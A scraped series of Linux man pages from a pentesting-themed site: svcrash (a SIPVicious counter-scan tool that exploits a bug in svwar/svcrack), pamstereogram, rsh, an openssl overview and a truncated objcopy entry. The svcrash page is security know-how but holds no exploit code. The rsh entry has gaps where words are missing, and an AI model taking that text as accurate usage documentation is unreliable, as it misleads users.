              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2113 - Linux cli command svcrash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svcrash and provides detailed information about the command svcrash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svcrash.

NAME 🖥️ svcrash 🖥️

stop unauthorized scans from svcrack/svwar tool

SYNOPSIS

svcrash.py [options]

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

–auto
Automatically send responses to attacks

–astlog=ASTLOG
Path for the asterisk full logfile

-d IPADDR
specify attacker’s ip address

-p PORT
specify attacker’s port

-b
bruteforce the attacker’s port

Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized scans from flooding the network.

Copyright (C) 2021 Sandro Gauci <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

SEE ALSO

The full documentation for svcrash.py can be found on GitHub at <https://github.com/enablesecurity/sipvicious/wiki>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2114 - Linux cli command pamstereogram

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamstereogram and provides detailed information about the command pamstereogram, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamstereogram.

.

NAME 🖥️ pamstereogram 🖥️

create a single-image stereogram from a PAM depth map

SYNOPSIS

pamstereogram [-help] [-verbose] [-blackandwhite | -grayscale | -color] [-maxval=value] [-patfile=pamfile] [-texfile=pamfile] [-bgcolor=color] [-smoothing=pixels] [-xbegin=pixels] [-xshift=pixels] [-yshift=pixels] [-yfillshift pixels] [-magnifypat=scale] [-guidetop] [-guidebottom] [-guidesize=pixels] [-dpi=resolution] [-crosseyed] [-makemask] [-eyesep=inches] [-depth=fraction] [-planes=near_pixels,far_pixels] [-randomseed=integer] [-tileable] [infile]

DESCRIPTION

This program is part of Netpbm(1) .

pamstereogram inputs a depth map (a map of the distances from your eye of the points in a scene) and outputs a single-image stereogram (SIS). A SIS is a 2-D image specially designed to appear three dimensional when viewed with relaxed, slightly unfocused eyes. What’s exciting about single-image stereograms is that they don’t require special glasses to view, although it does require a bit of practice to train your eyes to unfocus properly. The pamstereogram program provides a wealth of control over how the stereogram is generated, including the following:

  • black and white, grayscale, or color output

  • single-image random-dot stereograms (SIRDS), single-image stereograms (SIS) using a tiled image, or mapped-texture stereograms (MTS)

  • images targeting a given device resolution and eye separation

  • optional guide boxes to assist in focusing

  • the ability to trade off depth levels for easier viewing

  • choice of wall-eyed or cross-eyed stereograms

The output is a PAM image on standard output. Options control the exact format of the PAM. If you want a PNM (PBM, PGM, or PPM) image, use pamtopnm on the output. There is no need to convert if you will use the image as input to a current Netpbm program, but many other programs don’t know what a PAM is.

To make a red/cyan type of stereogram (that you view with 3-D glasses) instead, see ppm3d.

OPTIONS

You may use either single or double hyphens to denote options. You may use either whitespace or an equals sign to separate an option name from its value.

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamstereogram recognizes the following command line options:

-verbose
Display messages about image sizes and formats and properties of the stereogram being generated.

-blackandwhite
Produce a single-image random-dot black-and-white stereogram. This is the default.

-grayscale
Produce a single-image random-dot grayscale stereogram.

-color
Produce a single-image random-dot color stereogram.

**-maxval=**value
Designate the maximum value of each gray/color component, i.e. the color resolution. Smaller values make the output image have smaller numbers of unique grays/colors. If you don’t specify -maxval, pamstereogram uses the maxval of the input image. This option has no effect with -blackandwhite.

**-patfile=**pamfile
Specify an image to use as a repeated background pattern for the stereogram instead of a random-dot pattern. Intricate images generally produce a crisper 3-D effect that simpler images. The output file will have the same maxval and format (black and white, grayscale or color) as the pattern file. You cannot specify the -patfile option along with -blackandwhite, -grayscale, -color, or -maxval. The -verbose option will give you information on the ideal dimensions of the pattern file.

**-xbegin=**pixels
Specify the horizontal coordinate at which to begin stereogram generation. The background pattern will be minimally distorted at this point and more distorted at greater distances. Consider using this in conjunction with -xshift to align the horizontal start of the pattern with the horizontal start of stereogram generation. -xbegin is meaningful only in conjunction with -patfile, -makemask, or -texfile, and pamstereogram actually ignores it with respect to -texfile (but may not in a future version of pamstereogram).

The default is to begin in the center.

This option was new in Netpbm 10.71 (June 2015).

**-texfile=**pamfile
Specify an image to use as the texture for a mapped-texture stereogram. The idea is that the depth-map image provides the depth values of the 3-D object/scene while the texture image provides the true-color values. Consequently, the texture image should align with the depth-map image. (Note that it’s required to have the same dimensions.) The texture image’s background color is ignored when blending colors.

This option was new in Netpbm 10.53 (December 2010).

**-bgcolor=**color
Use color as the texture image’s background color instead of letting pamstereogram determine it automatically. Specify the color as described for the argument of the pnm_parsecolor() library routine . The -bgcolor option is meaningful only in conjunction with -texfile.

This option was new in Netpbm 10.53 (December 2010).

**-smoothing=**pixels
When used without -texfile, attempt to eliminate artifacts introduced by edges in the depth map if pixels is greater than zero.

When used with -texfile, horizontally blur non-background colors into background pixels up to a distance of pixels pixels. This helps smooth over distracting glitches introduced by the stereogram’s color constraints when producing a mapped-texture stereogram. In this case, the -smoothing option is helpful when the texture image includes smooth color transitions (as in a photograph) but makes crisp texture images (as in a line drawing) appear blurry.

This option was new in Netpbm 10.53 (December 2010). Before Netpbm 10.61 (December 2012), it has no effect without -texfile.

**-xshift=**pixels
Shift the pattern image (designated by -patfile) to the right by pixels pixels (default: 0).

This option is valid only along with -patfile.

-yshift pixels
Shift the pattern image (designated by -patfile) downwards by pixels pixels (default: 0). This option is valid only along with -patfile.

-yfillshift pixels
Shift the pattern image (designated by -patfile) downwards by pixels pixels (default: 0) but only after the initial population of the pattern. (If used with -yshift the resulting shifts are summed.) A small -yfillshift helps reduce visual artifacts in the 3-D image. Steer’s website, referenced under SEE ALSO , recommends a shift of approximately 1/16" (6-7 pixels at pamstereogram’s default of 100 DPI).

This option was new in Netpbm 10.94 (March 2021).

-magnifypat=scale
Magnify each pixel in the pattern file or each random dot by integral scaling factor scale. Note that pamstereogram applies the pattern magnification after pattern shifting (
-xshift
and -yshift).

-guidebottom
Draw a pair of black squares on a white background underneath the stereogram proper. These squares help you guide your eyes into proper focus to view the 3-D image. The trick is to focus your eyes some distance behind the image, causing you to see four black squares, then continue altering your focus distance until the middle two black squares fuse into a single black square. At that point, a crisp, 3-D image will appear.

This option was new in Netpbm 10.61 (December 2012). Before that, the presence of -guidesize, with a positive value, has the same effect.

-guidetop
Same as -guidebottom, except the guides go at the top of the image.

This option was new in Netpbm 10.61 (December 2012). Before that, the presence of -guidesize, with a negative value, has the same effect.

**-guidesize=**pixels
The size (width and height) of each guide box.

This is valid only with -guidetop or -guidebottom.

Default is 20.

Before Netpbm 10.61 (December 2012), if you don’t specify this option, pamstereogram draws no guides. If you specify it with a positive value, pamstereogram behaves as if you specified -guidebottom too, and if you specify it with a negative value, it behaves as if you specified -guidetop and specified guidesize with the absolute value of that negative value.

**-dpi=**resolution
Specify the resolution of the output device in dots per inch. The default is 100 DPI, which represents a fairly crisp screen resolution.

Before Netpbm 10.53 (December 2010), the default was 96 DPI.

-crosseyed
Invert the gray levels in the depth map (input image) so that the 3-D image pops out of the page where it would otherwise sink into the page and vice versa. Some people are unable to diverge their eyes and can only cross them. The -crosseyed option enables such people to see the 3-D image as intended. You can also specify the -crosseyed option if you prefer using depth maps in which darker colors are closer to the eye and lighter colors are farther from the eye.

Before Netpbm 10.53 (December 2010), pamstereogram used higher (lighter) numbers for things closer to the eye without -crosseyed and vice versa.

-makemask
Instead of a stereogram, output a PAM mask image showing coloring constraints. New pixels will be taken from the pattern file where the mask is black. Copies of existing pixels will be taken from the pattern file where the mask is white. The -makemask option can be used to help create more sophisticated pattern files (to use with -patfile) Note that -makemask ignores -magnifypat; it always produces masks that assume a pattern magnification of 1.

**-eyesep=**inches
Specify the separation in inches between your eyes. The default, 2.5 inches (6.4 cm), should be sufficient for most people and probably doesn’t need to be changed.

**-depth=**fraction
Specify the output image’s depth of field. That is, fraction represents the fractional distance of the near plane from the far plane. Smaller numbers make the 3-D image easier to perceive but flatter. Larger numbers make the 3-D image more difficult to perceive but deeper. The default, 0.3333, generally works fairly well.

**-planes=**near_pixels,far_pixels
Explicitly specify the distance between repeated pixels in the near plane and in the far plane. This is an alternative to -eyesep and -depth. The following equalities hold:

  • eyesep = 2 * far

  • depth = 2 * (far - near) / (2 * far - near)

The number of distinct 3-D depths is far - near + 1. One might say that -eyesep and -depth are a more human-friendly way to specify stereoscopic parameters (distance between eyes and tradeoff between perceptibility and depth) while -planes is a more computer-centric way (pixel distances in the resulting stereogram).

This option was new in Netpbm 10.59 (June 2012).

**-randomseed=**integer
Specify a seed to be used for the random number generator. The default is to use a seed based on the time of day, to one second granularity.

It is useful to specify the seed if you want to create reproducible results. With the same random seed, you should get identical results every time you run pamstereogram.

This is irrelevant if you use a pattern file (-patfile option), because there is no random element to pamstereogram’s behavior.

This option was new in Netpbm 10.32 (February 2006).

-tileable
Make the generated image horizontally tileable. This works by blending a left-to-right rendering (the equivalent of -xbegin=0) with a right-to-left rendering (the equivalent of -xbegin=width-1).

This option was new in Netpbm 10.91 (June 2020).

PARAMETERS

The only parameter, infile, is the name of an input file that is a depth map image. If you don’t specify infile, the input is from standard input.

The input is a PAM image of depth 1. Each sample represents the distance from the eye that the 3-D image at that location should be. Lower (darker) numbers mean further from the eye.

NOTES

Input Images

pamstereogram pays no attention to the image’s tuple type and ignores all planes other than plane 0.

Like any Netpbm program, pamstereogram will accept PNM input as if it were the PAM equivalent.

Mapped-texture Stereograms

In a mapped-texture stereogram (MTS), the 3-D image can be drawn with true colors. Unlike a SIRDS or tiled-image SIS, however, the image portrayed by an MTS is apparent in normal 2-D viewing. It appears repeated multiple times and overlapped with itself, but it is not hidden.

You create an MTS with pamstereogram by passing the filename of a PAM “texture image” with a -texfile option. A texture image portrays the same 3-D object as the depth-map image but indicates the colors that the program should apply to the object.

pamstereogram ignores the texture image’s background color when it overlaps copies of the 3-D object. This prevents, for example, a bright-red object on a black background from being drawn as a dark-red object (a blend of 50% bright red and 50% black); instead, the program ignores the black and the object remains bright red. A consequence of this feature is that an MTS looks best when the objects in the texture image have a crisp outline. Smooth transitions to the background color result in unwanted color artifacts around edges because the program ignores only exact matches with the background color.

You should specify a larger-than-normal value for -eyesep (and/or -dpi) when producing an MTS. Otherwise, the 3-D object will repeat so many times that most colored pixels will overlap other colored pixels, reducing the number of true-colored pixels that remain.

An MTS can employ a background pattern (-patfile). In this case, pamstereogram replaces background pixels with pattern pixels in the final step of generating the image.

Miscellaneous

A good initial test is to input an image consisting of a solid shape of distance 0 within a large field of maximum distance (e.g., a white square on a black background).

With the default values for -dpi and -eyesep, pattern images that are 128 pixels wide can tile seamlessly.

EXAMPLES

Generate a SIRDS out of small, brightly colored squares and prepare it for display on an 87 DPI monitor:

    pamstereogram depthmap.pam \
        -dpi 87 -verbose -color -maxval 1 -magnifypat 3 \
        >3d.pam

Generate a SIS by tiling a PPM file (a prior run with -verbose indicates how wide the pattern file should be for seamless tiling, although any width is acceptable for producing SISes):

    pamstereogram depthmap.pam -patfile mypattern.ppm >3d.pam

Generate an MTS by associating colors with a depth-mapped object (using a large eye separation to reduce the number of repetitions of the texture image) and twice smoothing over background-colored speckles:

    pamstereogram depthmap.pam \
        -texfile colormap.pam -smoothing 2 -eyesep 3.5 \
        >3d.pam

SEE ALSO

  • pam(1)

  • pamsistoaglyph(1)

  • ppm3d(1)

  • Harold W. Thimbleby, Stuart Inglis, and Ian H. Witten. Displaying 3D Images: Algorithms for Single Image Random Dot Stereograms. In IEEE Computer, 27(10):38-48, October 1994. DOI: 10.1109/2.318576 .

  • W. A. Steer. Stereograms: Technical Details. URL: http://www.techmind.org/stereo/stech.html(1) .

HISTORY

pamstereogram was new in Netpbm 10.22 (April 2004), but probably broken beyond usability until Netpbm 10.32 (February 2006) and Netpbm 10.26.23 (January 2006).

A backward incompatible change to the way you request guide boxes (-guidetop, -guidebottom, -guidesize happened in Netpbm 10.61 (December 2012).

AUTHOR

Copyright © 2006-2020 Scott Pakin, [email protected].

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamstereogram.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2115 - Linux cli command rsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsh and provides detailed information about the command rsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsh.

makes a connection to the remote shell daemon running on

and starts

on the remote machine. All input is transmitted to the remote machine and all output on the remote machine is sent back to the

client on the local machine.

Use only IPv4 to connect to the remote host.

Use only IPv6 to connect to the remote host.

Be verbose.

Redirect stdin to

to be able to run rsh in the background.

Connect to the remote host as a different user than on the local machine.

Connect to a different port than the default one for

RFC 1282.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2116 - Linux cli command s_serverssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command s_serverssl and provides detailed information about the command s_serverssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the s_serverssl.

NAME 🖥️ s_serverssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2117 - Linux cli command x86_64-w64-mingw32ucrt-objcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-objcopy and provides detailed information about the command x86_64-w64-mingw32ucrt-objcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-objcopy.

NAME 🖥️ x86_64-w64-mingw32ucrt-objcopy 🖥️

copy and translate object files

SYNOPSIS

objcopy [-F bfdname|–target=bfdname] [-I bfdname|–input-target=bfdname] [-O bfdname|–output-target=bfdname] [-B bfdarch|–binary-architecture=bfdarch] [-S|–strip-all] [-g|–strip-debug] [–strip-unneeded] [-K symbolname|–keep-symbol=symbolname] [–keep-file-symbols] [–keep-section-symbols] [-N symbolname|–strip-symbol=symbolname] [–strip-unneeded-symbol=symbolname] [-G symbolname|–keep-global-symbol=symbolname] [–localize-hidden] [-L symbolname|–localize-symbol=symbolname] [–globalize-symbol=symbolname] [–globalize-symbols=filename] [-W symbolname|–weaken-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X|–discard-locals] [-b byte|–byte=byte] [-i [breadth]|–interleave[=breadth]] [–interleave-width=width] [-j sectionpattern|–only-section=sectionpattern] [-R sectionpattern|–remove-section=sectionpattern] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–debugging] [–gap-fill=val] [–pad-to=address] [–set-start=val] [–adjust-start=incr] [–change-addresses=incr] [–change-section-address sectionpattern{=,+,-}val] [–change-section-lma sectionpattern{=,+,-}val] [–change-section-vma sectionpattern{=,+,-}val] [–change-warnings] [–no-change-warnings] [–set-section-flags sectionpattern=flags] [–set-section-alignment sectionpattern=align] [–add-section sectionname=filename] [–dump-section sectionname=filename] [–update-section sectionname=filename] [–rename-section oldname=newname[,flags]] [–long-section-names {enable,disable,keep}] [–change-leading-char] [–remove-leading-char] [–reverse-bytes=num] [–srec-len=ival] [–srec-forceS3] [–redefine-sym old=new] [–redefine-syms=filename] [–weaken] [–keep-symbols=filename] [–strip-symbols=filename] [–strip-unneeded-symbols=filename] [–keep-global-symbols=filename] [–localize-symbols=filename] [–weaken-symbols=filename] [–add-symbol name=[section:]value[,flags]] [–alt-machine-code=index] [–prefix-symbols=string] [–prefix-sections=string] [–prefix-alloc-sections=string] [–add-gnu-debuglink=path-to-file] [–only-keep-debug] [–strip-dwo] [–extract-dwo] [–extract-symbol] [–writable-text] [–readonly-text] [–pure] [–impure] [–file-alignment=num] [–heap=reserve[,commit]] [–image-base=address] [–section-alignment=num] [–stack=reserve[,commit]] [–subsystem=which:major.minor] [–compress-debug-sections] [–decompress-debug-sections] [–elf-stt-common=val] [–merge-notes] [–no-merge-notes] [–verilog-data-width=val] [-v|–verbose] [-V|–version] [–help] [–info] infile [outfile]

DESCRIPTION

The GNU objcopy utility copies the contents of an object file to another. objcopy uses the GNU BFD Library to read and write the object files. It can write the destination object file in a format different from that of the source object file. The exact behavior of objcopy is controlled by command-line options. Note that objcopy should be able to copy a fully linked file between any two formats. However, copying a relocatable object file between any two formats may not work as expected.

objcopy creates temporary files to do its translations and deletes them afterward. objcopy uses BFD to do all its translation work; it has access to all the formats described in BFD and thus is able to recognize most formats without being told explicitly.

objcopy can be used to generate S-records by using an output target of srec (e.g., use -O srec).

objcopy can be used to generate a raw binary file by using an output target of binary (e.g., use -O binary). When objcopy generates a raw binary file, it will essentially produce a memory dump of the contents of the input object file. All symbols and relocation information will be discarded. The memory dump will start at the load address of the lowest section copied into the output file.

When generating an S-record or a raw binary file, it may be helpful to use -S to remove sections containing debugging information. In some cases -R will be useful to remove sections which contain information that is not needed by the binary file.

Note—objcopy is not able to change the endianness of its input files. If the input format has an endianness (some formats do not), objcopy can only copy the inputs into file formats that have the same endianness or which have no endianness (e.g., srec). (However, see the –reverse-bytes option.)

OPTIONS

infile

outfile

The input and output files, respectively. If you do not specify outfile, objcopy creates a temporary file and destructively renames the result with the name of infile.

-I bfdname

–input-target=bfdname

Consider the source file’s object format to be bfdname, rather than attempting to deduce it.

-O bfdname

–output-target=bfdname

Write the output file using the object format bfdname.

-F bfdname

–target=bfdname

Use bfdname as the object format for both the input and the output file; i.e., simply transfer data from source to destination with no translation.

-B bfdarch

–binary-architecture=bfdarch

Useful when transforming a architecture-less input file into an object file. In this case the output architecture can be set to bfdarch. This option will be ignored if the input file has a known bfdarch. You can access this binary data inside a program by referencing the special symbols that are created by the conversion process. These symbols are called _binary_objfile_start, _binary_objfile_end and _binary_objfile_size. e.g. you can transform a picture file into an object file and then access it in your code using these symbols.

-j sectionpattern

–only-section=sectionpattern

Copy only the indicated sections from the input file to the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be copied, even if earlier use of –only-section on the same command line would otherwise copy it. For example: –only-section=.text.* –only-section=!.text.foo will copy all sectinos matching ‘.text.*’ but not the section ‘.text.foo’.

-R sectionpattern

–remove-section=sectionpattern

Remove any section matching sectionpattern from the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. Using both the -j and -R options together results in undefined behaviour. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove non-dynamic relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable, and attempting to remove a dynamic relocation section such as .rela.plt from an executable or shared library with –remove-relocations=.plt will not work. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the pattern ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section header This option is specific to ELF files. Implies –strip-all and –merge-notes.

-S

–strip-all

Do not copy relocation and symbol information from the source file. Also deletes debug sections.

-g

–strip-debug

Do not copy debugging symbols or sections from the source file.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-N symbolname

–strip-symbol=symbolname

Do not copy symbol symbolname from the source file. This option may be given more than once.

–strip-unneeded-symbol=symbolname
Do not copy symbol symbolname from the source file unless it is needed by a relocation. This option may be given more than once.

-G symbolname

–keep-global-symbol=symbolname

Keep only symbol symbolname global. Make all other symbols local to the file, so that they are not visible externally. This option may be given more than once. Note: this option cannot be used in conjunction with the –globalize-symbol or –globalize-symbols options.

–localize-hidden
In an ELF object, mark all symbols that have hidden or internal visibility as local. This option applies on top of symbol-specific localization options such as -L.

-L symbolname

–localize-symbol=symbolname

Convert a global or weak symbol called symbolname into a local symbol, so that it is not visible externally. This option may be given more than once. Note - unique symbols are not converted.

-W symbolname

–weaken-symbol=symbolname

Make symbol symbolname weak. This option may be given more than once.

–globalize-symbol=symbolname
Give symbol symbolname global scoping so that it is visible outside of the file in which it is defined. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -W !foo -W fo* would cause objcopy to weaken all symbols that start with “fo” except for the symbol “foo”.

-x

–discard-all

Do not copy non-global symbols from the source file.

-X

–discard-locals

Do not copy compiler-generated local symbols. (These usually start with L or ..)

-b byte

–byte=byte

If interleaving has been enabled via the –interleave option then start the range of bytes to keep at the byteth byte. byte can be in the range from 0 to breadth-1, where breadth is the value given by the –interleave option.

-i [breadth]

–interleave[=breadth]

Only copy a range out of every breadth bytes. (Header data is not affected). Select which byte in the range begins the copy with the –byte option. Select the width of the range with the –interleave-width option. This option is useful for creating files to program ROM. It is typically used with an srec output target. Note that objcopy will complain if you do not specify the –byte option as well. The default interleave breadth is 4, so with –byte set to 0, objcopy would copy the first byte out of every four bytes from the input to the output.

–interleave-width=width
When used with the –interleave option, copy width bytes at a time. The start of the range of bytes to be copied is set by the –byte option, and the extent of the range is set with the –interleave option. The default value for this option is 1. The value of width plus the byte value set by the –byte option must not exceed the interleave breadth set by the –interleave option. This option can be used to create images for two 16-bit flashes interleaved in a 32-bit bus by passing -b 0 -i 4 –interleave-width=2 and -b 2 -i 4 –interleave-width=2 to two objcopy commands. If the input was ‘12345678’ then the outputs would be ‘1256’ and ‘3478’ respectively.

-p

–preserve-dates

Set the access and modification dates of the output file to be the same as those of the input file. This option also copies the date stored in a PE format file’s header, unless the SOURCE_DATE_EPOCH environment variable is defined. If it is defined then this variable will be used as the date stored in the header, interpreted as the number of seconds since the Unix epoch.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

–debugging
